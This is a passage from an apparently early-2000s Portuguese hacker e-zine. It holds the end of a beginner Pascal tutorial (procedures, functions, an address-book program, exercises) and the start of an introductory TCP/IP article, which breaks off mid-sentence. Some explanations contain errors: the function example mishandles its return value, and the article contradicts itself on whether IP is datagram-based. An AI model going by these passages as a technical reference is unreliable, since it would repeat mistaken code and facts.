              clrscr;
              writeln ('Pascal is rlz!');
              writeln ('=)');
             end;

  Begin {Aqui começa o bloco principal}
   comandos;
   comandos;
   comandos;
     ...
   comandos;
  End.

 {Com este exemplo já da pra ter um idéia de como funcionam os procedimentos}

 Acho que chegou a hora de falar de variáveis globais e locais, fundamental para
 o entendimento  de  procedimentos.  Como vc   pode reparar  no  exemplo  acima,
 foram  declaradas   variáveis   dentro  do   procedimento   e   variáveis  fora
 dele, como  fazíamos antes.  Aí é  que está,  todas as  variáveis declaradas no
 escopo VAR,  são globais,  portanto, podemos  utilizá-las em  qualquer lugar do
 programa, inclusive dentro  do  procedimento.  Se uma  variável  global  recebe
 um  valor  dentro  do  procedimento,  ela   ficará  com   o valor  recebido  na
 procedure.  Já    as  variáveis  locais,  são   aqueles   declaradas dentro  da
 procedure.   Estas  variáveis  serão   utilizadas   apenas  pelo  procedimento.
 Portanto, podemos  sim  ter  duas variáveis com o  mesmo  nome em um  programa,
 desde que uma seja  global  e outra local. Mas daí  você me pergunta: "E se  eu
 tiver uma variável  global com o  mesmo nome de  uma variável local,  dentro do
 procedimento, qual vai  ser utilizada?". A  resposta é que  sempre as variáveis
 locais vão ter preferência sobre as globais.

 Mais uma  coisa a  se dizer  com relação  a procedimentos  é que  dentro de  um
 procedimento, vc pode chamar  outro. Mas isso só  é possível se o  procedimento
 chamado estiver em cima do procedimento  que chamou. Mas pq isso? Isso  deve-se
 ao fato de o Pascal ser linear, isto é, o compilador vai lendo linha por linha,
 até chegar   no End.   Se vc   chamar um   procedimento dentro  de  outro,  e o
 procedimento chamado estiver em  baixo dele, quando  o compilador passar   pelo
 procedimento, não vai reconhecer o comando, pois o procedimento que foi chamado
 está abaixo e ainda não foi compilado, portanto é desconhecido pelo compilador.

 Para chamar um procedimento utilizamos a seguinte sintaxe:

 ;

 Funções
 ^^^^^^^

 Funções são a mesma coisa que os procedimentos, a única diferença entre os dois
 é que as   funções retornam um   valor. Geralmente, mais   por uma  questão  de
 organização, a  funções são   declaradas abaixo  dos procedimentos.  Um exemplo
 de declaração de função:

 Function  (var1,var1 :tipo) :tipo;
                           Begin                |
                            comandos;         Tipo é o tipo de variável que a
                            comandos;         função irá retornar.
                            comandos;
                              ...
                            comandos;
                           End;

 {Analisando a função acima, podemos concluir o seguinte: utilizaremos na função
 o  var1 e  var2, que  são do    mesmo tipo.  Também podemos  ver que  a função
 retornará um valor do tipo a ser definido.}

 Passagem de Parâmetros

 Os procedimentos também  suportam passagem de  parâmetros, mas eu  aproveitei o
 tópico  funçoes  para  exeplicar   isso.   Para  exemplificar  a   passagem  de
 parâmetros, abaixo segue um código:

--------------------------------Corte Aqui--------------------------------------

{ Nome do Programa ....................... Função
  Função ................................. Exemplo de passagem de parâmetros
  Plataforma ............................. Windows / 32 bits
  Linguagem .............................. Pascal
  Data de criação ........................ 08/12/2003
  Data de ultima alteração ............... 08/12/2003
  Autor .................................. d4rwin
}

 Program funcoes;
 Uses CRT;

 Var num1,num2,result,contador : integer;

 Function funcao (A,B  :integer) : integer;
            begin
             Result := A + B;
            end;

 Begin
  clrscr;
  writeln ('Programa Exemplo de Funções');
  writeln ;
  writeln;
  textcolor (white);
  write  ('Digite um num: ');
  readln (num1);
  write  ('Digite outro num: ');
  readln (num2);

  {Agora nós vamos passar os parâmetros - valores de num1 e num2 - a função}

  funcao(num1,num2); {Aqui os parâmetros são passados nesta ordem. Na função,  A
                      receberá num1 e B num2}

  writeln ;
  textcolor (red + blink);
  delay (400);
  writeln ('Resultado: ',result);
  writeln ;
  textcolor (cyan);
  writeln (' -----------------------------EoF---------------------------');
  readkey;
 End.

--------------------------------Corte Aqui--------------------------------------

  13.0 - Agenda Eletrônica em Pascal
         ~~~~~~ ~~~~~~~~~~ ~~ ~~~~~~

 Bom, já  que está  acabando o  txt, eu  coloquei um  agenda eletrônica feita em
 pascal por mim. Ele permite adicionar, ver e pesquisar amigos. Estou  colocando
 ela aqui, pois acho que ela seria uma boa alternativa para estudo. Talvez  você
 não  entenda isso  ou aquilo,  mas é  importante que  você estude  o código,  e
 principalmente pratique, pratique... pratique.

--------------------------------Corte Aqui--------------------------------------

{ Nome do Programa ....................... Agenda
  Função ................................. Agenda Eletronica
  Plataforma ............................. Windows
  Linguagem .............................. Pascal
  Data de criação ........................ 06/12/2003
  Data de ultima alteração ............... 08/12/2003
  Autor .................................. d4rwin          }

  Program Agenda_Eletronica;
  Uses CRT,DOS;

   Const Arq_real = 'C:\Agenda.txt';

   Type Amigo = record
                 codigo   : integer;
                 nome     : string[15];
                 idade    : integer;
                 telefone : string[12];
                end;

   Var  agenda : file of amigo;
        contador  : integer;
        opcao     : char;

   Procedure Menu;
              begin
               clrscr;
               writeln ; gotoxy (14,3);
               writeln ('#################################'); gotoxy (14,4);
               writeln ('##     Agenda Eletronica       ##'); gotoxy (14,5);
               writeln ('#################################'); gotoxy (14,6);
               writeln ('##                             ##'); gotoxy (14,7);
               writeln ('##  Incluir Amigo   (I)        ##'); gotoxy (14,8);
               writeln ('##  Listar Amigos   (L)        ##'); gotoxy (14,9);
               writeln ('##  Pesquisar Amigo (P)        ##'); gotoxy (14,10);
               writeln ('##  Sair            (S)        ##'); gotoxy (14,11);
               writeln ('##                             ##'); gotoxy (14,12);
               writeln ('#################################'); gotoxy (14,13);
               writeln ;                                      gotoxy (14,14);
               write   ('Opcao: ');                           gotoxy (21,14);
               readln  (opcao);
               opcao := upcase(opcao);
              end;

   Procedure Incluir_amigos;
              var X            : amigo;
                  resposta     : char;
                  Total_amigos : integer;
                begin
                 {$i-}
                 reset (agenda);
                 {$i+}
                 Total_amigos := 0;
                  if IOResult <> 0 then
                   rewrite (agenda);

                  while Not EoF(Agenda) do
                   begin
                    read (Agenda,X);
                    Total_amigos := Total_amigos + 1;
                   end;

                 repeat
                  clrscr;
                  Total_amigos := Total_amigos + 1;
                  gotoxy (14,3);
                  write  ('Inclusao de Amigo'); gotoxy (14,4);
                  writeln('^^^^^^^^ ^^ ^^^^^'); gotoxy (14,5);
                  writeln ;
                  writeln ;
                  with X do
                   begin
                    gotoxy (14,7);
                    writeln ('Codigo: ',Total_amigos);       gotoxy (14,8);
                    codigo := Total_amigos;
                    write ('Nome: ');     readln (nome);     gotoxy (14,9);
                    write ('Idade: ');    readln (idade);    gotoxy (14,10);
                    write ('Telefone: '); readln (telefone); gotoxy (14,11);
                   end;
                  write (Agenda,X);
                  writeln ;                                  gotoxy (14,13);
                  write ('Inserir outro(S/N): ');
                  readln (resposta);
                  resposta := upcase(resposta);
                 until (resposta = 'N');
                 close (Agenda);
                end;

   Procedure Listar_amigos;
              var X  : amigo;
               begin
                clrscr;
                reset(agenda);  gotoxy (14,3);
                writeln ('Listagem de Amigo(s)'); gotoxy (14,4);
                writeln ('^^^^^^^^ ^^ ^^^^^^^^'); gotoxy (14,5);
                while Not EoF(Agenda) do
                 begin
                  read (agenda,X);
                  with X do
                   begin
                    writeln ;
                    writeln ('             Codigo ..........: ',codigo);
                    writeln ('             Nome ............: ',nome)  ;
                    writeln ('             Idade ...........: ',idade) ;
                    writeln ('             Telefone.........: ',telefone);
                    writeln ;
                   end;
                 end;
                 readln;
               end;

   Procedure Pesquisar_amigo;
              var X          : amigo;
                  nome_amigo : string[15];
               begin
                reset(agenda);
                clrscr;
                gotoxy (14,3);
                writeln ('Pesquisa de Amigo'); gotoxy (14,4);
                writeln ('^^^^^^^^ ^^ ^^^^^'); gotoxy (14,6);
                write ('Nome do Amigo: ');
                readln (nome_amigo);
                writeln ;
                while Not EoF(Agenda) do
                 begin
                  read (Agenda,X);
                  with X do
                   begin
                    if nome = nome_amigo then
                     begin
                      gotoxy (14,8);
                      writeln ('Codigo ..........: ',codigo)  ; gotoxy (14,9);
                      writeln ('Nome ............: ',nome)  ; gotoxy (14,10);
                      writeln ('Idade ...........: ',idade)  ; gotoxy (14,11);
                      writeln ('Telefone ........: ',telefone); gotoxy (14,12);
                      writeln ;
                      readkey;
                      end;
                   end;
                 end;
               end;

   Begin
     clrscr;
     textbackground (blue);
     textcolor      (white);
     clrscr;
     gotoxy  (14,3);
     writeln ('====================================='); gotoxy (14,4);
     writeln ('=                                   ='); gotoxy (14,5);
     writeln ('=        Agenda Eletronica          ='); gotoxy (14,6);
     writeln ('=                                   ='); gotoxy (14,7);
     writeln ('=   $$$$ #### $$$$                  ='); gotoxy (14,8);
     writeln ('=   $$$$ #### $$$$      por d4rwin  ='); gotoxy (14,9);
     writeln ('=                                   ='); gotoxy (14,10);
     writeln ('====================================='); gotoxy (14,11);

     writeln ;
     writeln ;
     gotoxy  (14,12);
     writeln ('Carregando agenda...');

      for contador := 1 to 100 do
       begin
        gotoxy (14,13);
        writeln (contador,'% concluido');
        delay (100);
       end;

      Assign (agenda,Arq_real);

     repeat
      Menu;

      if opcao = 'I' then
        Incluir_amigos;
      if opcao = 'L' then
        Listar_amigos;
      if opcao = 'P' then
        Pesquisar_amigo;

     until (opcao = 'S');

   End.

--------------------------------Corte Aqui--------------------------------------

 14.0 - Exercícios
        ~~~~~~~~~~

  Exercício 01
  ^^^^^^^^^ ^^

   Escreva  um  algoritmo/programa  para  ler  2  valores  (se  o  segundo valor
   informado  for  ZERO,  deve  ser lido  um        novo    valor  até que  seja
   diferente  de  zero) e  imprimir  o resultado  da  divisão do  primeiro  pelo
   segundo.        Utilizar a    estrutura REPEAT-UNTIL (Repita - Até).

  Exercício 02
  ^^^^^^^^^ ^^

   Reescreva   o   exercício   anterior   utilizando   a   estrutura  WHILE...DO
   (Enquanto...Faça).

  Exercício 03
  ^^^^^^^^^ ^^

   Escreva um algoritmo/programa para ler as  notas da 1ª e 2ª avaliações  de um
   aluno, calcule  e imprima  a  média(simples).  Só devem  ser  aceitos valores
   válidos durante  a leitura  entre 0   e 10  para cada  nota.  Acrescente  uma
   mensagem 'NOVO CÁLCULO (S/N)?' ao  final do exercício. Se for  respondido 'S'
   deve retornar e executar um  novo  cálculo, caso contrário deverá  encerrar o
   algoritmo/programa.

  Exercício 04
  ^^^^^^^^^ ^^

   Escreva um algoritmo/programa que solicite ao usuário N números. Faça a  soma
   destes  N números   e imprima  na tela.  Utilize a   estrutura FOR...TO...DO
   (De...Até...Faça).

  Exercício 05
  ^^^^^^^^^ ^^

   Ler 10 valores e escrever quantos destes valores são NEGATIVOS.

 15.0 - Agradecimentos
        ~~~~~~~~~~~~~~

 Agradeço primeiramente a Deus, por ter criado o mundo, a meu pai, minha mãe,  o
 troxa do  meu irmão  e minha  vizinha gata.  Agradeço tbm  a todos  os caras do
 MotdLabs que  tem me  dado a  maior força.   Espero que  com este  txt eu tenha
 alcançado meu objetivo, que é ajudar  a dar um ponta-pé inicial no  aprendizado
 de  programação para newbies. Sei que  o texto não está  lá aquelas coisas, mas
 acredito que a  partir dele, você  já vai saber  pelo que e  onde procurar(vide
 seção LINKS). Bom, me despeço aqui, um abraçao a todos e até a próxima...

                                                                   [d4rwin]

 16.0 - Links
        ~~~~~

  http://www.freepascal.org
  http://www.freepascal.eti.br
  http://www.pascaler.hpg.com.br
  http://www.infoxbr.com.br
  http://www.geocities.com/SiliconValley/Bay/6512/index.htm
  http://www.pascalhome.cjb.net/
  http://www.pascaltotal.hpg.ig.com.br/
  http://www.delphix.com.br
  http://d4rwin.cjb.net

                            -=-d4rwin@bol.org-=-
 -----------------------------------EoF------------------------------------------

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[12]-=[TCP/IP]-=|SkyNet45|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

******************
Introducao:::... *
******************

Como prometido estou  dando continuidade a  materia abordada no  primeiro numero
dazine, o topico  mudou mas o  assunto ainda eh  o mesmo, se  vc ainda lembra da
materia  passada  sobre  hardware  de  rede  irah  ajudar  bastante  pois   para
compreensao desse topico se faz util o material passado, como jah havia falado.

Irei  procurar abordar  topicos bases  da arquitetura  tcp/ip, mostrando  coisas
realmente basicas sobre esta suite de protocolos.
Obs1.: Se vc acha que vai apartir de agora dominar este assunto feche o  arquivo
pois o intuito  do mesmo eh  dar a introducao  basica aos que  se interessam por
redes, e aqueles que estao atras de conhecimento verdadeiro e etico.

****************
CONCEITO:::... *
****************

Imagine duas pessoas no mesmo  lugar tentando conversar, uma delas  fala ingles,
a outra  fala portugues, sera que elas  iriam  se entender  de forma  clara? Com
certeza nao. Seria o mesmo que voce ligar dois computadores  com um fio e querer
que eles  troquem   informacoes entre  si   e facam  tudo   bem bunitinho,  isso
seria  impossivel,  daih   surgiu  a   ideia  de   `protocolo`,  eu   gosto  de
fazer essa comparacao "o  protocolo eh   como a  voz", vc  soh se   comunica com
alguem se vc  falar a lingua  dessa pessoa, o   `protocolo` ou a  voz facilita a
comunicao entre duas pessoas ou as duas coisas se preferir assim, entao  podemos
concluir dai que sem `voz` nao se tem conversa.

Os computadores  tambem sao  assim, eles  precisam de  protocolos de conversacao
para se comunicarem, sem eles  isso tambem seria impossivel! Para  resolver esse
problema  foram desenvolvidas  algumas `linguas`  para fazerem  os computadores
conversarem entre si, entre essas `linguas` ou protocolos encontra-se o  tcp/ip,
que eh sem duvida a base da  nossa amada internet, tudo nela eh baseado  nele, o
tcp/ip nao eh  um protocolo soh  conforme muitos pensam,  mas eh uma  gama ou um
conjunto de protocolos juntos,  tais como o: snmp,  icmp, udp,ip e etc...  estes
formam uma arquitetura que sem duvida eh muito apreciada por existir.

O tcp/ip com seus muitos protocolos tem um papel muito significativo numa  rede,
por  exemplo  podemos  citar o  ftp  que  eh um  protocolo  de  transporte muito
utilizado na  atualizacao de  sites na  internet, por  meio deste pode-mos fazer
tranferencia de arquivos e trabalhar com manipulacao de arquivos na integra.

*************************************
A ARQUITETURA INTERNET(TCP/IP):::...*
*************************************

Os padroes  do tcp/ip  nao sao  estabelecidos por  nenhum orgao internacional de
qualidade, as definicoes do protocolo sao feitas por documentos denominados  RFC
(request for comments), que sao  elaborados pelo IAB (Internet Activies  Board).
Se pararmos para analisar estes documentos, que trazem todas as  caracteristicas
do tcp/ip veremos que  ele eh um protocolo  simples e que tem  uma facilidade de
implementacao muito grande, e ao mesmo tempo atendem as necessidades da  maioria
dos sistemas de redes.

A arquitetura tcp/ip eh  organizada em camadas assim  como um bolo muito  grande
tambem tem suas  camadas, chocolate, glace,  doce de leite(aih  q fome!!!), pois
eh, na nossa arquitetura temos protocolos distintos para cada camada do  tcp/ip,
temos tambem  protocolos para  a comunicacao  e comunicacao  entre duas  camadas
separadas, observem o rabisco abaixo:

		 --------------------------------------
		|         |	   | 	      |        |
1ºAplicacoes -->|   ftp   |  smtp  |  telnet  |  snmp  |
  		|--------------------------------------|
		|         |  	   |	      |	       |
2ºTransporte -->|	  |   TCP  |   UDP    |	       |
		|	  |----------------------------|
		|	  |		      |        |
3ºRede -------->|  	  |ip, icmp, arp, rarp|        |
		|	  |----------------------------|
		| 	  |		      |        |
4ºacesso ------>|	  |sub-rede de acesso |        |
		 --------------------------------------

Vamos ver  as camadas  de baixo  pra cima,  pra podermos  entender mais  facil e
rapido:
Camada por camada entao...

******************************
4º Camada - Sub-rede (acesso)*
******************************

A arquitetura  tcp/ip nao  padroniza o  tipo de  redes que  poderao ter acesso a
redes tcp/ip,  ao contrario  permite que  qualquer tipo  de tecnologia possa ser
empregada, bastando somente desenvolver suas interfaces de comunicacao  umas com
as outras. Podemos  encontrar muitas tecnologias  de redes sendo  usadas juntas,
tais como: ppp,  ethernet, wireless, etc,  sendo que cada  tecnologia dessas tem
seus proprios protocolos, meios de conexao e taxas de transmissao, mas se  torna
necessario  que essas  sejam vistas  pelas redes  tcp/ip; isso  eh feito  pelos
roteadores que  fazem com  que essas  redes de  protocolos diferentes  trabalhem
juntas,  os  roteadores  enxergam  de  um  lado  as  sub-redes  com  tecnologias
diferentes e do outro suas redes tcp/ip,  e em ambas se comportam como se  fosse
um componente fisico das duas redes distintas.

Segue rabisco aih....

	 -------	 -------
	| 	|	|	|
	| HOST1 |	| HOST2	|
	 -------	 -------
		\	/
		 \     /
                   \ /
             --------------- 		   ------	       ---------------
            |  Tecnologia   | ----------- |Rotea-|----------- |               |
            |      ATM	    |		  | dor	 |	      |		      |
            |		    |		   ------	      |		      |
	     ---------------				      |   INTERNET    |
							      |		      |
							      |		      |
                                           ------	      |		      |
         -------------------------------- |Rotea-| ---------- |	  	      |
	| HOST3	|	| HOST4	|	  | dor	 |	      |		      |
	|------- 	 -------           ------	       ---------------
	|   Tecnologia Ethernet
	|-------	 -------
	| HOST5	|	| HOST6	|
	 -----------------------

oBS1.: Se vc percebeu bem, os roteadores que fazem a conexao da rede com  outras
redes como a internet fazem o  trabalho de compatibilizar as operacoes entre  os
protocolos, tais como tcp/ip e outros.

******************
3º Camada - Rede *
******************

A camada de rede eh formada por varios protocolos, o principal eh o IP que eh  o
responsavel pelo  transporte dos  pacotes pela  rede ou  por outras sub-redes, o
protocolo IP  nao trabalha  no modo datagrama, ou  seja ele  nao eh  orientado a
conexao,  assim nao  sao estabelecidas  ligacoes virtuais  entre a  origem e  o
destino do pacote.  Esses pacotes  soh contem  informacoes necessarias  sobre  o
seu transporte na rede e controle nas sub-redes utilizadas.

Os pacotes podem ser fragmentados durante a comunicaçao na rede. Por funcionarem
no modo datagrama, cada pacote pode ir  por um lugar na rede, ou seja  quando se
emite uma sequencia de  pacotes para determinado alvo,  ele pode chegar lah  por
varios lugares, pois os  pacotes  originais podem  ser fragmentados. Eles  podem
tambem   ser dividos(fragmentados)   quando chegarem   a um   roteador e  lah o
tamanho do datagrama suportado pela rede  seja menor, aih tambem serah divido  e
mais tarde remontado com base em informacoes no cabecalho IP.

Segue Rabisco de um pacote(datagrama):

Formado por 32 bits(IPv4)
0	3 4    7 8	     15 16                          32
 ------------------------------------------------------------
| versao |  IHL | tipo servico |       compri. total         |
|-------- ------------------- --------- ---------------------|
| 	identificacao          | flags | offset de fragmento |
|------------------------------------------------------------|
| tempo de vida |   protocolo  |    checksum do cabecalho    |
|------------------------------------------------------------|
|		    endereco de origem 			     |
|------------------------------------------------------------|
|		    endereco de destino 		     |
|------------------------------------------------------------|
|		         opcoes 	      |   padding    |
|------------------------------------------------------------|
|			DADOS 				     |
 ------------------------------------------------------------

Versao - versao do IP (Ex. IPv4, IPv6), 4 bits
IHL - comprimento do cabecalho, 4 bits
tipo servico - qualidade do servico, 8 bits
comprimento total - comprimento do datagram medido em octetos, 16 bits
identificacao - eh necessario pra  montagem dos outros fragmentos do  datagrama,16 bits
flags - indica se houve ou nao fragmentacao, 3 bits
offset de fragmento - indica a posicao de montagem no datagrama original, 13 bits
tempo de vida - tempo maximo que um datagrama(pacote) pode andar na rede, 8 bits
protocolo - indica o protocolo usado para transportar os dados, 8 bits
checksum  do  cabecalho  -  identifica  erros por  meio  de  um  calculo  que eh
verificado quando o pacote chega, 16 bits
endereco de  origem &  endereco de  destino -  sao os  enderecos IP do emissor e
destinatario, 32 bits
opcoes - contem opcoes de verificacao de erros, medicao ou testes, tendo tamanho
variavel
padding -  garante q  o comprimento  do cabecalho(IHL)  seja sempre  multiplo de
32(bits), tamanho variavel.

Para tais pacotes poderem circular  na rede eh necessario um  endereçamento, por
exemplo: quando uma estacao numa rede quer passar um pacote pra outra estacao em
outra rede o roteador  toma suas acoes baseado  nos enderecos IP das  estacoes e
das redes, esses enderecos sao palavras(chaves) de 32 bits ou seja tem 4 octetos
de 8 bits, e sao separados por classes para facilitar o enderecamento da estacao
e da rede em questao, a questao das classes eh um assunto muito mal interpretado
pelas pessoas,  podemos de  uma maneira  bem simples  determinar a  classe de um
endereco IP;

Ex.:
Para  entender  completamente  esse  assunto  eh  necessario  saber  transformar
numerosdecimais   em  binarios   (para  isso   tem  um   txt  no   meu  site   >
skynet45.motdlabs.org/dicas.html que ensina passo a passo a fazer isso).

Temos o IP: 200.125.68.102
Levamos em consideracao o primeiro octeto de bits, ou seja o primeiro numero  do
endereco IP, no nosso caso eh "200", entao seguimos um padrao:

Classe A = 1 - 127
Classe B = 128 - 191
Classe c = 192 - 223

Estas são as mais conhecidas, tem tambem as classe D que eh usada pra  multicast
como radios on-line, e a classe E q eh usada pra pesquisas.

Explicacao Geral:

			Endereco IP

			  32bits

		       / |      | \
		      /  |      |  \
		     /	 |	|   \
		  8bits+8bits+8bits+8bits

		    |     |     |     |

		   256 + 256 + 256 + 256

 		    |     |     |     |

Endereco IP --->   200 . 125 . 68  . 102

Quando temos enderecos de classe C, pode-se variar na determinacao de IP para as
estacoes, apenas o ultimo octeto de numeros, podendo variar entre 1-254.
Ex.: 192.168.1.*
	       |_> 1-254
Classe B
182.168.*.*
        | |_> 1-254
	|
	|_> 1-254
Classe A
10.*.*.*
   | | |
   | | |_> 1-254
   | |_> 1-254
   |_> 1-254

Agora voce se pergunta, se eu posso variar com um  numero de 8 bits por  que nao
ateh  255?   Simples,  por  padrao  o primeiro  e  ultimo  endereco  dos  IP sao
determinados especialmente, o primeiro que eh  o 0(zero) determina a rede que  o
IP estah, e o ultimo 255 serve pra acoes de broadcast(significa toda a rede), se
voce pingar o endereco: 192.168.1.255 vc ira verificar quais as maquinas q estao
ativas na rede 192.168.1.0, visto que o 0(zero) determina o IP da  rede.  Talvez
nao tenha ficado claro, mas com o tempo se pega a pratica. Para mais tarde  quem
sabe em  outro texto  entendermos profundamente  o processo  de roteamento serah
muito necessario aprender com clareza essas classes e como funcionam :).

Existe tambem uma diferenca entre endereco fisico e endereco IP das maquinas  na
rede. O endereco fisico da estacao  eh chamada de MAC, endereco este  armazenado
pelo fabricante da placa,  jah o endereco IP  da estacao eh setado  pelo proprio
usuario ou pelo administrador da rede  em questao; A diferenca quanto ao  MAC eh
que este nao pode ser mudado, jah o IP sim, mas existem alguns documentos soltos
poraih  que  provam que  existem  enderecos MACs  iguais  e que  eles  podem ser
mudados. Para  numa rede  a conversacao  das maquinas  ocorrer elas  tem ter uma
tabela com enderecos MAC e IP das outras, para haver esse mapeamente  utiliza-se
o protocolo  ARP (Adress  Resoluiton Protocol),  muitos confudem  ARP com  RARP,
existe diferencas, o ARP eh quando a estacao tem o endereco IP de seu destino  e
quer obter o endereco MAC  do destino, jah o RARP  eh quando ela tem o  endereco
MAC de uma estacao e quer obter o endereco IP dessa maquina destino.
OBs.:Todas essas mensagens sao feitas em broadcast.

***********************
2º Camada - Transporte*
***********************

Dentro  da  arquitetura que  estamos  estudando temos  dois  protocolos que  sao
destinados a transporte de dados, que sao: o TCP (Transmition Control  Protocol)
e o UDP (User Datagram Protocol) ambos se encontram na mesma camada (tranporte),
todos  os  dois sao  destinados  a transferencia  de  dados p2p  (ponto-a-ponto)
dependendo da qualidade do servico requerido pela camada inferior(aplicacao).

Apesar do TCP e o UDP terem a mesma funcao, eles tem casos distintos para  serem
utilizados, visto o TCP ser  orientado a conexao, estabelece uma  conexao direta
com o  destino, ele  se destina  a conexoes  que exigem  uma maior  qualidade do
servico, sem  perda de  pacotes e  sem nenhum  erro, jah  o UDP  eh um protocolo
extremamente rapido mas nao oferece a confianca do TCP, o UDP eh muito usado  em
VPNs onde se precisa muito de velocidade. Uma coisa bem interesante eh que o TCP
e o UDP utilizam  um metodo de transporte  em conjunto com o  protocolo IP, eles
utilizam um tipo  de multiplexacao com  o IP, as  mensagem a serem  transmitidas
pelos  protocolos  de  transporte  sao   enviadas  ao  protocolo  IP  onde   sao
transmitidas pela rede.

Um ponto tambem  muito importante que  faz parte da  camada de rede  eh o uso de
portas(ports) na comunicao  entre estacoes, essas  portas sao representadas  por
numeros  inteiros  que  significam  as  aplicacoes  correspondetes  no   sistema
operacional, essas portas existem tanto no  TCP como no UDP e toda  comunicao eh
feita atraves dessas portas.  Exemplos de portas sao:  22 - SSH, 25  - SMTP, 80
- HTTP, etc.

Tem uma figurinha aih pra enteder melhor a multiplexacao do TCP e do UDP sobre o IP:

		     Aplicacoes

	 -------      -------	    -------
	|Porta 1|    |Porta 2|     |Porta n|
     	 -------      -------       -------
	  \		 |		/
	   \		 |	       /
 	    \		 |	      /
	     \		 |   	     /
              \		 |          /
	       \	 |         /
	       ---------------------
	      |    Multiplexacao    |
	      |       TCP/IP        |
	       ---------------------
			 |
	            -----------
		   |  	       |
		   |	IP     |
		   |	       |
		    -----------
			 |		< Rede >
			  ------------------------------------------>

OBS.: Ao pacote multiplexado chegar ao destino, ele sofre o processo inverso, ou
seja uma desmultiplexacao.

Com certeza  o TCP  eh bem  abragente, mas  ainda tem  umas caracteristicas  bem
interesantes que podemos destacar no  todo. Alem da multiplexacao de  dados, ele
tambem  trabalha de  forma em  que recebe  e manda  dados ao  mesmo tempo  (full
-duplex), tambem  tem prioridade  em dados  urgentes setando  uma indicativa  de
urgencia no pacote; para fins de seguranca na entrega ele posui uma  segmentacao
que eh  utilizada na  montagem do  pacote; Caso  ele tenha  sido desfragmentado,
existe tambem o checksum que eh  um calculo matematico feito com base  nos dados
enviados e eh checado a cada entrega, podemos destacar ainda o estabelicemento e
liberacao da conexao feita  por ele, o conhecido  handshake, ou aperto de  maos,
(three-way handshake) antes  de enviar qualquer  dado pela rede,  ele estabelece
uma conexao direta com o destino (por isso chamado de orientado a conexao), e eh
liberada apenas quando se termina a transferencia.

Obs.  apesar  do handshake  ser  bem simples,  mas  para entender  mais  sobre o
handshake tem uns  txts muito bons,  como um do  Jerry Slater, acho  q tem um do
REPOLHO tambem falando sobre o nmap que aborda isso.

O UDP  nao tem  tantas boas  'qualidades' como  o TCP,  por nao  ser orientado a
conexao ele se torna entao um  mecanismo de entrega de dados, provido  apenas da
multiplexacao feita com  o IP, ele  nao oferece nenhuma  garantia de entrega  de
dados ou seja os pacotes podem  ser perdidos, dulpicados ou ateh entregues  fora
da ordem, um datagrama UDP pode ou nao ter o campo de checksum, tendo ele  todos
os datagramas recebidos com erro sao jogados fora. (descartados)

************************
1º Camada - Aplicacoes *
************************

As aplicacoes numa  rede tcp/ip nao  tem nenhum tipo  de padronizacao em  comum,
cada aplicacao tem seu proprio  padrao dentro da arquitetura e  essas aplicacoes
acessam  diretamente  a  sua  camada  superior.  Lembra  qual  eh?  A  camada de
transporte pelo TCP ou pelo UDP!  A unica coisa importante eh a  compatibilidade
no formato dos dados usados nestas aplicacoes com os varios sistemas  diferentes
presentes em  redes tcp/ip.  Vimos aih  em cima  na camada  de transporte  que o
tcp/ip utiliza o conceito de portas, essas portas sao definidas de acordo com  a
aplicacao em questao, TCP ou UDP,  essas portas tem o mesmo numero  independente
da estacao onde esta sendo executada. Concluimos aih que se voce tiver o  numero
da porta e  o IP da  maquina em questao  voce pode localizar  qualquer aplicacao
dentro de uma rede tcp/ip! Sei que isso parece horrivel mas eh assim q se comeca
;).

Pra  podermos  desenvolver  aplicacoes pro  tcp/ip  temos  que entender  algumas
primitivas de acesso, gosto  de chamalos de 'comandos',  mas como sempre que  eu
digo algo vem alguem e diz que eh  outra coisa, entao vc chama do que vc  quiser
:).  Voltando,  quando  qualquer  aplicacao  quer  estabelecer  uma  conexao,  a
aplicacao executa um primitiva dessas,  chamadas de 'sockets'. O objetivo  disso
eh criar um estado de espera no sistema local, tambem eh executada uma primitiva
'bind', essa grava o numero da porta associada a aplicacao em questao.

Temos primitivas diferentes  no TCP e  no UDP. No  TCP, por exemplo,  quando uma
aplicacao  tem  funcao  de  servir algo,  (servidora)  ela  executa  a primitiva
'listen' na  qual tem  funcao de  colocar o  sistema em  condicao de  espera por
conexoes, a aplicacao  cliente executa outra  primitiva, 'connect,' na  qual tem
funcao  de solicitar  e estabelecer  a conexao  com a  aplicacao servidora,  na
sequencia   a   aplicacao   servidora   executa   'accept'   para   finalizar  o
estabelecimento  da  conexao, durante  a  transmissao dos  dados  ambas usam  as
primitivas 'send' 'receive', estebelecida essa conexao nao eh mais necessario  o
uso do endereco IP e o numero da porta destino, visto que as mensagens  trafegam
sempre pela conexao estabelecida entre esse 'caminho' criado, isso acontece  por
que o TCP eh orientado a conexao, lembra? :)

Jah  no UDP  que um  protocolo que  nao eh  orientado a  conexao as  primitivas
'listen', 'accept', 'connect'  NAO EXISTEM. Sendo  assim, uma vez  executadas as
primitivas 'socket' e 'bind' as aplicacoes passam a trocar informacoes entre  si
usando as primitivas 'sendto' 'recvfrom', nessas estah incluso o endereco IP dos
destino, visto nao haver nenhuma ligacao direta entre os destinos.

Dentro dessas aplicacoes existentes pra facilitar o uso das redes tcp/ip estao:

RPC, XDR, SMTP, FTP, NFS, TELNET, SNMP, DNS.

Se o  meu texto  nao tive-se  ficado tao  grande ainda  abordaria um  pouco mais
sobreessas aplicacoes mas isso pode ser feito vide outros textos como:

NL_snmp_hacking.pdf --> SNMP pras Massas (NashLeon)
TELNET --> http://hallz.motdlabs.org/textos/telnet.txt (hallucination)
e etc......

O  estudo  dessas  aplicacoes  eh  muito  importante,  na  minha  opiniao  o DNS
principalmente, a importancia dele eh tanta que ao configurar um servidor, se  o
DNS nao estiver corretamente configurado  NADA funciona! Pretendo mais a  frente
escrever algo sobre ele.

*********************
Finalizando:::..... *
*********************

Bom! O  objetivo desse  humilde texto  foi poder  dar uma  visao geral  da coisa
heheh. Ou seja, poder familiariza-lo com o que rola no tcp/ip. Com certeza  voce
pode aprender algo aqui, pois o  maior incetivo que tive pra escrever  txts foi:
"nao importa o que  vc escreve, alguem sempre  aprende algo disso". Se  voce jah
conhecia um pouco  da arquitetura da  nossa amada internet,  deve ter visto  que
muitos por ai quando vao falar de tcp/ip, misturam OSI no meio. Aqui eu procurei
